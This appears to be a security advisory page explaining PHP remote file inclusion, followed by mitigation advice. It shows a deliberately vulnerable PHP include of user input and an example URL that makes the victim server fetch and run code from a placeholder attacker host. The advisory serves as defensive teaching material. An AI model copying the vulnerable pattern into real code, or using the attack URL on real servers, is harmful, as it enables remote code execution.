DefenseCode

PHP File Inclusion

Risk type:HIGH

Description:

PHP allows dynamic inclusion of files in order to provide or extend the functionality of the current file. Files that are included can be remote or local which could allow the attacker to trick the application into including malicious files if user input is not sufficiently checked.

Example:

Consider a web page with the following URL:

http://www.victim.com/vuln.php

The page has some vulnerable code within "vuln.php" file:

<?php
$file = $_GET["file"];
include($file.".php");
?>

The attacker could have malicious code inside the file named "malicious.php" on some remote server:

http://www.attacker.com/malicious.php

He could then pass his file by using the URL:

http://www.victim.com/vuln.php?file=http://www.attacker.com/malicious

Remote file "malicious.php" will be included and any code within it will be run by the server.

Mitigation:

  • Proper input variables validation.
  • Use a whitelist of acceptable inputs that strictly conform to specifications.
  • Escape dangerous characters.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules.
  • Check for invalid characters and set up all the page files in a separate directory.
  • Use library calls rather than external processes to recreate the desired functionality.
  • Reject any input that does not strictly conform to specifications, or transform it into something that does.

Further reading:

http://securityxploded.com/remote-file-inclusion.php